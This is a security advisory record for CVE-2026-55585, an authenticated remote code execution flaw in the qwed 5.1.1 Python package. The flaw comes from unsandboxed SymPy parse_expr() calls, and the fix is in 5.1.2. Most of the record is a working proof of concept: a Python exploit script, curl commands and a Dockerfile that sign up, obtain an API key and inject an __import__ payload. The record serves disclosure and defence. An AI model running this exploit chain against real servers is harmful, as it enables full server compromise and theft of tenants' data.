{"id":"CVE-2026-55585","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55585","summary":"qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`","details":"### Summary\n\nThe `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.\n\n### Details\n\nThe vulnerability exists in two independently reachable code paths:\n\n**Primary sink — `POST /verify/math`**\n\n`src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\\d)(\\()', r'\\1*\\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504:\n\n```python\n# src/qwed_new/api/main.py\nexpression = request.get(\"expression\")\n...\nexpression_normalized = re.sub(r'(\\d)(\\()', r'\\1*\\2', expression)\n...\nparsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval\n```\n\n**Secondary sink — `POST /verify/batch`**\n\n`src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization:\n\n```python\n# src/qwed_new/core/batch.py\nexpression = item.query\n...\nparsed = parse_expr(expression)              # line 239 — unsandboxed eval\n```\n\n`parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{\"__builtins__\": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.\n\n### PoC\n\n**Environment setup (Docker)**\n\n```bash\n# Build from repository root (one level above vuln-001/)\ndocker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n\n# Run the server (binds to localhost:8765)\ndocker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n```\n\nThe Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment:\n\n- `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `QWED_CORS_ORIGINS=http://localhost`\n- `QWED_SKIP_ENV_INTEGRITY_CHECK=true`\n- `DATABASE_URL=sqlite:////tmp/qwed-poc.db`\n\n**Automated exploit (`poc.py`)**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8765\n```\n\nThe script performs three steps:\n\n1. **Register an account** — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required).\n2. **Obtain an API key** — `POST /auth/api-keys` using the JWT returned from signup.\n3. **Send the RCE payload** — `POST /verify/math` with the `x-api-key` header and the expression:\n\n```\n__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')\n```\n\n**Expected output**\n\n```\n[+] Server is ready.\n[+] Account created; JWT bearer token obtained.\n[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...\n[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')\n[*] HTTP status : 200\n[*] HTTP response: {\"is_valid\": true, \"value\": 23.0, \"simplified\": \"23\", \"original\": \"23\"}\n[PASS] HTTP 200 returned — payload evaluated without error.\n```\n\nThe server returns HTTP 200 and `{\"value\": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process.\n\n**Decisive verification**\n\n```bash\ndocker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce\n# Expected: pwned_by_parse_expr_rce\n```\n\nThe same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing.\n\n**Manual curl reproduction (no Python script)**\n\n```bash\n# Step 1: sign up and capture JWT\nTOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"poc@example.com\",\"password\":\"Password123!\",\"organization_name\":\"poc-org\"}' \\\n  | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"access_token\"])')\n\n# Step 2: create API key\nAPIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"name\":\"poc\"}' \\\n  | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"key\"])')\n\n# Step 3: send payload\nrm -f /tmp/qwed_parse_expr_rce\ncurl -sS -X POST http://127.0.0.1:8765/verify/math \\\n  -H 'Content-Type: application/json' \\\n  -H \"x-api-key: $APIKEY\" \\\n  -d '{\"expression\":\"__import__('\"'\"'pathlib'\"'\"').Path('\"'\"'/tmp/qwed_parse_expr_rce'\"'\"').write_text('\"'\"'owned'\"'\"')\"}'\n\n# Step 4: confirm file was written by the server process\ncat /tmp/qwed_parse_expr_rce\n# Expected: owned\n```\n\n### Impact\n\nThis is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.\n\nConcrete impact includes:\n\n- **Confidentiality** — read any file accessible to the server process (environment variables, secret keys, database contents, source code).\n- **Integrity** — write or overwrite any file accessible to the server process, modify database records, plant backdoors.\n- **Availability** — terminate the server process, exhaust resources, corrupt persistent storage.\n\nIn a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 Reproduction Environment\n# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1\n#\n# Build from the repo root (one level above vuln-001/):\n#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n#\n# Run:\n#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n\nFROM python:3.12-slim-bookworm\n\nENV PYTHONDONTWRITEBYTECODE=1 \\\n    PYTHONUNBUFFERED=1\n\nWORKDIR /app\n\n# Install minimal build dependencies required by some native extensions\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends gcc g++ \\\n    && apt-get clean \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy the repository source\nCOPY repo/ /app/repo/\n\n# Install hatchling build backend, then install the package with all dependencies\n# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12\nRUN pip install --no-cache-dir --upgrade pip hatchling \\\n    && pip install --no-cache-dir -e /app/repo\n\n# Runtime environment variables — minimal set required to start the server\nENV QWED_JWT_SECRET_KEY=\"test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    API_KEY_SECRET=\"test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    QWED_CORS_ORIGINS=\"http://localhost\" \\\n    QWED_SKIP_ENV_INTEGRITY_CHECK=\"true\" \\\n    DATABASE_URL=\"sqlite:////tmp/qwed-poc.db\"\n\nEXPOSE 8765\n\nCMD [\"python3\", \"-m\", \"uvicorn\", \"qwed_new.api.main:app\", \\\n     \"--host\", \"0.0.0.0\", \"--port\", \"8765\", \"--log-level\", \"warning\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001\n\nAffected product : QWED 5.1.1 (QWED-AI/qwed-verification)\nEndpoint         : POST /verify/math\nCWE              : CWE-94 — Improper Control of Code Generation\nCVSS             : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nRoot cause:\n  src/qwed_new/api/main.py:504 passes attacker-controlled input directly to\n  sympy.parsing.sympy_parser.parse_expr() without a restricted global/local\n  namespace.  parse_expr() internally calls eval(), so any valid Python\n  expression — including __import__() calls — is executed server-side.\n\nExploit chain:\n  1. Register an account via POST /auth/signup   (open to any user by default)\n  2. Obtain an API key via POST /auth/api-keys\n  3. POST /verify/math with expression=<python code>\n     The code runs inside the server process.\n\nObservable evidence:\n  - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated\n  - A marker file is written inside the container; verify with:\n      docker exec <container> cat /tmp/qwed_parse_expr_rce\n    Expected content: \"pwned_by_parse_expr_rce\"\n\nUsage:\n  python3 poc.py [--host 127.0.0.1] [--port 8765]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\n\nimport requests\n\n# Path written inside the server process by the RCE payload\nRCE_MARKER_PATH = \"/tmp/qwed_parse_expr_rce\"\n# Content written to the marker file (must not contain quotes)\nRCE_MARKER_CONTENT = \"pwned_by_parse_expr_rce\"\n\n\ndef wait_for_server(base_url: str, timeout: int = 90) -> bool:\n    \"\"\"Poll the server health endpoint until it responds or timeout expires.\"\"\"\n    print(f\"[*] Waiting for server at {base_url} (up to {timeout}s)...\")\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            r = requests.get(f\"{base_url}/health\", timeout=2)\n            if r.status_code < 500:\n                return True\n        except requests.exceptions.ConnectionError:\n            pass\n        time.sleep(2)\n    return False\n\n\ndef signup(base_url: str) -> str:\n    \"\"\"\n    Create an attacker-controlled account and return the JWT bearer token.\n    /auth/signup is enabled by default and requires no prior authorization.\n    \"\"\"\n    payload = {\n        \"email\": \"poc-attacker@example.com\",\n        \"password\": \"Attacker1234!\",\n        \"organization_name\": \"vuln001-attacker-org\",\n    }\n    r = requests.post(f\"{base_url}/auth/signup\", json=payload, timeout=15)\n    if r.status_code == 400 and \"already registered\" in r.text:\n        # Account exists from a previous run; sign in instead\n        sign_in_payload = {\n            \"email\": payload[\"email\"],\n            \"password\": payload[\"password\"],\n        }\n        r = requests.post(f\"{base_url}/auth/signin\", json=sign_in_payload, timeout=15)\n    r.raise_for_status()\n    token = r.json()[\"access_token\"]\n    return token\n\n\ndef create_api_key(base_url: str, bearer_token: str) -> str:\n    \"\"\"\n    Create an API key for the attacker account.\n    Returns the plaintext key (shown only once by the API).\n    \"\"\"\n    headers = {\"Authorization\": f\"Bearer {bearer_token}\"}\n    r = requests.post(\n        f\"{base_url}/auth/api-keys\",\n        json={\"name\": \"vuln001-poc\"},\n        headers=headers,\n        timeout=15,\n    )\n    r.raise_for_status()\n    return r.json()[\"key\"]\n\n\ndef exploit(base_url: str, api_key: str) -> dict:\n    \"\"\"\n    Send the RCE payload to POST /verify/math.\n\n    The expression uses pathlib.Path.write_text() which:\n      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process\n      - Returns an integer (bytes written) that parse_expr() can handle without\n        raising an exception, making the side-effect transparent to the caller\n\n    The absence of an error and a 200 status code proves code execution.\n    \"\"\"\n    expression = (\n        f\"__import__('pathlib')\"\n        f\".Path('{RCE_MARKER_PATH}')\"\n        f\".write_text('{RCE_MARKER_CONTENT}')\"\n    )\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"x-api-key\": api_key,\n    }\n    r = requests.post(\n        f\"{base_url}/verify/math\",\n        json={\"expression\": expression},\n        headers=headers,\n        timeout=20,\n    )\n    content_type = r.headers.get(\"content-type\", \"\")\n    body = r.json() if \"application/json\" in content_type else r.text\n    return {\"status_code\": r.status_code, \"body\": body}\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1\"\n    )\n    parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"API server host\")\n    parser.add_argument(\"--port\", type=int, default=8765, help=\"API server port\")\n    args = parser.parse_args()\n\n    base_url = f\"http://{args.host}:{args.port}\"\n\n    # ── Step 0: wait for server ──────────────────────────────────────────────\n    if not wait_for_server(base_url):\n        print(\"[FAIL] Server did not become ready within the timeout.\")\n        sys.exit(1)\n    print(\"[+] Server is ready.\\n\")\n\n    # ── Step 1: sign up ──────────────────────────────────────────────────────\n    print(\"[*] Step 1/3: Creating attacker account via POST /auth/signup\")\n    bearer_token = signup(base_url)\n    print(\"[+] Account created; JWT bearer token obtained.\\n\")\n\n    # ── Step 2: API key ──────────────────────────────────────────────────────\n    print(\"[*] Step 2/3: Obtaining API key via POST /auth/api-keys\")\n    api_key = create_api_key(base_url, bearer_token)\n    print(f\"[+] API key (first 20 chars): {api_key[:20]}...\\n\")\n\n    # ── Step 3: exploit ──────────────────────────────────────────────────────\n    rce_expression = (\n        f\"__import__('pathlib')\"\n        f\".Path('{RCE_MARKER_PATH}')\"\n        f\".write_text('{RCE_MARKER_CONTENT}')\"\n    )\n    print(\"[*] Step 3/3: Sending RCE payload to POST /verify/math\")\n    print(f\"    expression = {rce_expression}\\n\")\n\n    result = exploit(base_url, api_key)\n\n    print(f\"[*] HTTP status : {result['status_code']}\")\n    print(f\"[*] HTTP response:\\n{json.dumps(result['body'], indent=2)}\\n\")\n\n    if result[\"status_code\"] == 200:\n        print(\"=\" * 60)\n        print(\"[PASS] HTTP 200 returned — payload evaluated without error.\")\n        print(f\"       The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}\")\n        print()\n        print(\"       Verify decisive evidence inside the container:\")\n        print(f\"         docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}\")\n        print(\"=\" * 60)\n        sys.exit(0)\n    else:\n        print(f\"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.\")\n        sys.exit(2)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-08-25T16:25:19Z","modified":"2026-08-26T00:08:07.247548945Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"qwed","fixedVersion":"5.1.2"}],"fix":{"url":"https://github.com/QWED-AI/qwed-verification/pull/200","label":"QWED-AI/qwed-verification#200"},"references":[{"type":"WEB","url":"https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-verification/pull/200"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61"},{"type":"PACKAGE","url":"https://github.com/QWED-AI/qwed-verification"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-26T00:08:07.247548945Z"}}